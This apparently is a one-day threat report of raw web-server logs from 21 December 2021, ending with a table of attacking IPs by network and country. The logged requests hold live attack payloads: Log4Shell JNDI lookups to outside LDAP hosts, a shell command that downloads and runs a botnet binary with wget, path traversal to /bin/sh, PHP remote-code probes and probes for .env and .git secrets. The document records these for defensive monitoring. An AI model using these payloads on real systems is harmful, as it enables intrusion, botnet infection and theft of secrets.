Cryptogram Labs

Threat Report

12/21/2021

ATTACK LOGS

195.54.160.149 - - [21/Dec/2021:00:35:22 +0000] "POST /mifs/.;/services/LogService HTTP/1.1" 404 179 "https://192.248.155.163:443" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"

209.141.50.223 - - [21/Dec/2021:00:37:16 +0000] "GET /config/getuser?index=0 HTTP/1.1" 400 255 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0" "-"

91.85.213.164 - - [21/Dec/2021:01:09:23 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" "-"

23.183.83.160 - - [21/Dec/2021:01:22:06 +0000] "GET / HTTP/1.1" 301 169 "-" "-" "-"

23.183.83.160 - - [21/Dec/2021:01:22:12 +0000] "POST /HNAP1/ HTTP/1.1" 301 169 "-" "Mozila/5.0" "-"

195.54.160.149 - - [21/Dec/2021:01:43:19 +0000] "GET /console/ HTTP/1.1" 404 179 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"

66.240.205.34 - - [21/Dec/2021:01:55:30 +0000] "Gh0st\xAD\x00\x00\x00\xE0\x00\x00\x00x\x9CKS``\x98\xC3\xC0\xC0\xC0\x06\xC4\x8C@\xBCQ\x96\x81\x81\x09H\x07\xA7\x16\x95e&\xA7*\x04$&g+\x182\x94\xF6\xB000\xAC\xA8rc\x00\x01\x11\xA0\x82\x1F\x5C`&\x83\xC7K7\x86\x19\xE5n\x0C9\x95n\x0C;\x84\x0F3\xAC\xE8sch\xA8^\xCF4'J\x97\xA9\x82\xE30\xC3\x91h]&\x90\xF8\xCE\x97S\xCBA4L?2=\xE1\xC4\x92\x86\x0B@\xF5`\x0CT\x1F\xAE\xAF]" 400 157 "-" "-" "-"

51.222.32.235 - - [21/Dec/2021:02:08:06 +0000] "GET /.env HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-"

51.222.32.235 - - [21/Dec/2021:02:08:06 +0000] "POST / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-"

195.54.160.149 - - [21/Dec/2021:02:10:36 +0000] "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 404 179 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"

64.62.197.92 - - [21/Dec/2021:02:27:19 +0000] "GET / HTTP/1.1" 301 169 "-" "-" "-"

222.186.19.235 - - [21/Dec/2021:03:27:40 +0000] "GET http://fuwu.sogou.com/404/index.html HTTP/1.1" 400 657 "-" "Mozilla/5.0 (X11; U; Linux x86_64; fr-FR) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7" "-"

222.186.19.235 - - [21/Dec/2021:03:27:40 +0000] "GET http://fuwu.sogou.com/404/index.html HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1" "-"

222.186.19.235 - - [21/Dec/2021:03:27:40 +0000] "\x05\x01\x00" 400 157 "-" "-" "-"

ATTACK LOGS

128.1.248.26 - - [21/Dec/2021:03:28:37 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" "-"

143.198.166.1 - - [21/Dec/2021:03:33:44 +0000] "GET / HTTP/1.0" 301 169 "-" "-" "-"

20.127.63.205 - - [21/Dec/2021:03:39:44 +0000] "GET /.env HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-"

20.127.63.205 - - [21/Dec/2021:03:39:45 +0000] "POST / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-"

192.241.195.22 - - [21/Dec/2021:03:52:08 +0000] "GET /owa/auth/x.js HTTP/1.1" 404 179 "-" "Mozilla/5.0 zgrab/0.x" "

192.241.209.28 - - [21/Dec/2021:03:53:48 +0000] "GET /owa/auth/logon.aspx HTTP/1.1" 404 179 "-" "Mozilla/5.0 zgrab/0.x" "-"

192.241.207.72 - - [21/Dec/2021:03:57:42 +0000] "GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1" 404 179 "-" "Mozilla/5.0 zgrab/0.x" "-"

118.123.105.67 - - [21/Dec/2021:04:14:07 +0000] "GET / HTTP/1.0" 301 169 "-" "-" "-"

118.123.105.67 - - [21/Dec/2021:04:14:08 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

118.123.105.67 - - [21/Dec/2021:04:14:10 +0000] "GET /favicon.ico HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

118.123.105.67 - - [21/Dec/2021:04:14:11 +0000] "GET /favicon.ico HTTP/1.1" 404 179 "http://192.248.155.163/favicon.ico" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

118.123.105.67 - - [21/Dec/2021:04:14:11 +0000] "GET /robots.txt HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

118.123.105.67 - - [21/Dec/2021:04:14:12 +0000] "GET /robots.txt HTTP/1.1" 404 179 "http://192.248.155.163/robots.txt" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

118.123.105.67 - - [21/Dec/2021:04:14:13 +0000] "GET /.well-known/security.txt HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

118.123.105.67 - - [21/Dec/2021:04:14:14 +0000] "GET /.well-known/security.txt HTTP/1.1" 404 179 "http://192.248.155.163/.well-known/security.txt" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

209.141.50.223 - - [21/Dec/2021:04:24:36 +0000] "GET /config/getuser?index=0 HTTP/1.1" 400 255 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0" "-"

178.73.215.171 - - [21/Dec/2021:04:41:03 +0000] "GET / HTTP/1.0" 301 169 "-" "-" "-"

162.221.192.90 - - [21/Dec/2021:04:51:39 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" "-"

109.237.103.118 - - [21/Dec/2021:05:09:59 +0000] "GET /.git/config HTTP/1.1" 400 657 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-"

109.237.103.118 - - [21/Dec/2021:05:09:59 +0000] "GET /.git/config HTTP/1.1" 404 179 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-"

68.183.12.8 - - [21/Dec/2021:05:12:58 +0000] "GET / HTTP/1.0" 400 255 "-" "-" "-"

185.189.182.234 - - [21/Dec/2021:05:24:04 +0000] "GET / HTTP/1.1" 400 157 "-" "-" "-"

195.54.160.149 - - [21/Dec/2021:05:31:56 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 157 "-" "-" "-"

60.31.180.149 - - [21/Dec/2021:05:35:27 +0000] "GET /${jndi:ldap://5.101.118.127:1389/Exploit} HTTP/1.1" 301 169 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox" "-"

60.31.180.149 - - [21/Dec/2021:05:35:28 +0000] "GET / HTTP/1.1" 301 169 "-" "${jndi:ldap://5.101.118.127:1389/Exploit}" "-"

60.31.180.149 - - [21/Dec/2021:05:35:28 +0000] "GET / HTTP/1.1" 301 169 "-" "curl/7.58.0" "-"

112.117.103.217 - - [21/Dec/2021:05:36:24 +0000] "HEAD http://110.242.68.4/ HTTP/1.1" 301 0 "-" "Mozilla/5.01724933 Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E302" "-"

125.72.95.225 - - [21/Dec/2021:05:36:25 +0000] "CONNECT 110.242.68.4:443 HTTP/1.1" 400 157 "-" "-" "-"

118.123.105.67 - - [21/Dec/2021:05:49:59 +0000] "GET / HTTP/1.0" 301 169 "-" "-" "-"

125.64.94.140 - - [21/Dec/2021:11:15:13 +0000] "GET /robots.txt HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:11:15:16 +0000] "GET /robots.txt HTTP/1.1" 404 179 "http://192.248.155.163/robots.txt" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:11:15:19 +0000] "GET /.well-known/security.txt HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:11:15:21 +0000] "GET /.well-known/security.txt HTTP/1.1" 404 179 "http://192.248.155.163/.well-known/security.txt" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

88.0.214.160 - - [21/Dec/2021:11:53:10 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 zgrab/0.x" "-"

195.54.160.149 - - [21/Dec/2021:12:25:21 +0000] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"

195.54.160.149 - - [21/Dec/2021:13:03:42 +0000] "GET /console/ HTTP/1.1" 404 179 "http://192.248.155.163:80/console/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"

167.94.138.59 - - [21/Dec/2021:13:23:10 +0000] "GET / HTTP/1.1" 301 169 "-" "-" "-"

167.94.138.59 - - [21/Dec/2021:13:23:10 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"

195.54.160.149 - - [21/Dec/2021:13:27:03 +0000] "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"

195.54.160.149 - - [21/Dec/2021:13:27:04 +0000] "GET /Autodiscover/Autodiscover.xml HTTP/1.1" 404 179 "http://192.248.155.163:80/Autodiscover/Autodiscover.xml" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"

172.104.153.110 - - [21/Dec/2021:13:28:01 +0000] "*" 400 157 "-" "-" "-"

23.99.129.219 - - [21/Dec/2021:13:28:28 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+212.192.216.45/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep.jaws HTTP/1.1" 400 157 "-" "-" "-"

192.241.211.252 - - [21/Dec/2021:13:29:00 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 zgrab/0.x" "-"

2.56.59.221 - - [21/Dec/2021:13:46:26 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 301 169 "http://192.248.155.163:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" "-"

2.56.59.221 - - [21/Dec/2021:13:46:26 +0000] "" 400 0 "-" "-" "-"

8.218.201.129 - - [21/Dec/2021:13:51:35 +0000] "GET / HTTP/1.1" 400 157 "-" "-" "-"

195.54.160.149 - - [21/Dec/2021:14:15:00 +0000] "GET /_ignition/execute-solution HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"

195.54.160.149 - - [21/Dec/2021:14:15:00 +0000] "GET /_ignition/execute-solution HTTP/1.1" 404 179 "http://192.248.155.163:80/_ignition/execute-solution" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"

128.14.209.162 - - [21/Dec/2021:14:22:05 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" "-"

164.90.211.40 - - [21/Dec/2021:14:25:31 +0000] "\x16\x03\x01\x01\xFE\x01\x00\x01\xFA\x03\x03\xD5\x0F\x8A\x22\xCB\x816\xAA\xF5\x82\xE3\xC3\xBC:\xC1K<3`\x96\x05\xFB\x0EA\xD0\x00\xDD\xEE\xA8\xAF\xE8\x1B\x00\x01<\xCC\x14\xCC\x13\xCC\x15\xC00\xC0,\xC0(\xC0$\xC0\x14\xC0" 400 157 "-" "-" "-"

192.35.168.32 - - [21/Dec/2021:14:28:02 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 zgrab/0.x" "-"

189.127.145.229 - - [21/Dec/2021:14:30:28 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" "-"

45.141.87.59 - - [21/Dec/2021:14:32:13 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 157 "-" "-" "-"

45.141.87.59 - - [21/Dec/2021:14:32:15 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 157 "-" "-" "-"

125.64.94.140 - - [21/Dec/2021:15:12:01 +0000] "GET / HTTP/1.0" 301 169 "-" "-" "-"

125.64.94.140 - - [21/Dec/2021:15:12:03 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:15:12:11 +0000] "GET /favicon.ico HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:15:12:17 +0000] "GET /favicon.ico HTTP/1.1" 404 179 "http://192.248.155.163/favicon.ico" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:15:12:18 +0000] "GET /robots.txt HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:15:12:23 +0000] "GET /robots.txt HTTP/1.1" 404 179 "http://192.248.155.163/robots.txt" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:15:12:43 +0000] "GET /robots.txt/ HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:15:12:50 +0000] "GET /robots.txt/ HTTP/1.1" 404 179 "http://192.248.155.163/robots.txt/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:15:12:52 +0000] "GET /.well-known/security.txt HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:15:13:08 +0000] "GET /.well-known/security.txt HTTP/1.1" 404 179 "http://192.248.155.163/.well-known/security.txt" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

186.33.68.119 - - [21/Dec/2021:15:24:24 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" "-"

209.141.50.223 - - [21/Dec/2021:15:30:21 +0000] "GET /config/getuser?index=0 HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0" "-"

2.56.59.221 - - [21/Dec/2021:16:03:12 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 301 169 "http://192.248.155.163:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" "-"

2.56.59.221 - - [21/Dec/2021:16:03:12 +0000] "" 400 0 "-" "-" "-"

193.32.164.28 - - [21/Dec/2021:16:04:14 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 157 "-" "-" "-"

175.6.210.66 - - [21/Dec/2021:16:49:21 +0000] "GET /${jndi:ldap://185.246.87.50:1389/Exploit} HTTP/1.1" 301 169 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox" "-"

175.6.210.66 - - [21/Dec/2021:16:49:22 +0000] "GET / HTTP/1.1" 301 169 "-" "${jndi:ldap://185.246.87.50:1389/Exploit}" "-"

175.6.210.66 - - [21/Dec/2021:16:49:22 +0000] "GET / HTTP/1.1" 301 169 "-" "curl/7.58.0" "-"

195.54.160.149 - - [21/Dec/2021:17:13:22 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 179 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"

193.118.53.194 - - [21/Dec/2021:18:25:47 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" "-"

213.243.216.3 - - [21/Dec/2021:18:25:53 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:18:27:33 +0000] "GET / HTTP/1.0" 301 169 "-" "-" "-"

125.64.94.140 - - [21/Dec/2021:18:27:35 +0000] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:18:27:38 +0000] "GET /favicon.ico HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:18:28:03 +0000] "GET /favicon.ico/ HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:18:28:30 +0000] "GET /robots.txt HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:18:28:31 +0000] "GET /robots.txt HTTP/1.1" 404 179 "http://192.248.155.163/robots.txt" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:18:28:33 +0000] "GET /.well-known/security.txt HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

125.64.94.140 - - [21/Dec/2021:18:28:57 +0000] "GET /.well-known/security.txt/ HTTP/1.1" 301 169 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36" "-"

159.89.26.34 - - [21/Dec/2021:19:19:15 +0000] "GET / HTTP/1.1" 301 169 "-" "Linux Gnu (cow)" "-"

193.162.143.116 - admin [21/Dec/2021:19:20:31 +0000] "GET / HTTP/1.1" 400 657 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36" "-"

195.54.160.149 - - [21/Dec/2021:19:50:47 +0000] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5 &vars[1][]=HelloThinkPHP21 HTTP/1.1" 404 179 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"

209.141.50.223 - - [21/Dec/2021:19:59:39 +0000] "GET /config/getuser?index=0 HTTP/1.1" 400 255 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0" "-"

196.196.41.68 - - [21/Dec/2021:21:10:58 +0000] "GET / HTTP/1.1" 301 169 "-" "-" "-"

195.54.160.149 - - [21/Dec/2021:21:40:57 +0000] "GET /console/ HTTP/1.1" 404 179 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"

IP THREAT	AS_NAME	COUNTRY
189.127.145.229	MAIS NORTE TELECOM LTDA	BR
51.222.32.235	OVH HOSTING, INC	CA
209.141.50.223	FRANTECH SOLUTIONS	CA
60.31.180.149	INNERMONGOLIATONGLIAO	CN
222.186.19.235	CHINANET JIANGSU	CN
125.72.95.22	CHINANET-QH	CN
125.64.94.140	CHINANET-SC	CN
118.123.105.67	CHINANET-SC / CHINANET HOSTMASTER	CN
112.117.103.217	CHINANET-YN	CN
125.64.94.140	CHINANET-SC/CHINANET SICHUAN	CN
175.6.210.66	CHINANET-HN/CHINANET HOSTMASTER	CN
186.33.68.119	WIND RED AI	DO
88.0.214.160	RIMA	ES
91.85.213.164	UK-ECLIPSE-ADSL-STATIC	GB
109.237.103.118	HOSTGLOBALPLUS	GB
213.243.216.3	SP-DMZ/TERRECABLATE LIR	IT
185.189.182.234	ACRO20366-RIPE	NL
2.56.59.221	PREFIXBROKER-MNT	NL
2.56.59.221	PREFIXBROKER-MNT	NL
193.118.53.194	US-ZENLAYER-AMS-BMC/	NL
195.54.160.149	RU-ITRESHENIYA	RU
45.141.87.59	MEDIALAND	RU
193.32.164.28	ASSIGNED PA	RU
195.54.160.149	RU-ITRESHENIYA	RU
193.162.143.116	FIRSTBYTE	RU
178.73.215.171	SE-GLE-RIPE	SE
8.218.201.129	ASEPL-SG/IRT-ASEPL-SG	SG
68.183.12.8	DIGITALOCEAN	US
66.240.205.34	CARINET, INC.	US
64.62.197.92	HURRICANE ELECTRIC LLC	US
23.183.83.160	FRANTECH	US
209.141.50.223	FRANTECH SOLUTIONS	US
20.127.63.205	MICROSOFT CORPORATION	US
192.241.209.28	DIGITALOCEAN	US
192.241.207.72	DIGITALOCEAN	US
192.241.195.22	DIGITALOCEAN	US
162.221.192.90	ZL-LAX-ZENWORKS-0191 / ZENLA-1	US
143.198.166.1	DIGITALOCEAN	US
128.1.248.26	ZENLA-1	US
167.94.138.59	CENSY/CENSYS, INC.	US
172.104.153.110	LINODE-US/ LINODE	US

23.99.129.219	MICROSOFT CORPORATION	US
192.241.211.252	DIGITALOCEAN	US
128.14.209.162	ZL-LAX-ZENWORKS/ZENLA-1	US
164.90.211.40	DIGITALOCEAN	US
159.89.26.34	DIGITALOCEAN	US
209.141.50.223	PONYNET/FRANTECH SOLUTIONS	US
196.196.41.68	FIBERGRID NOC4	ZA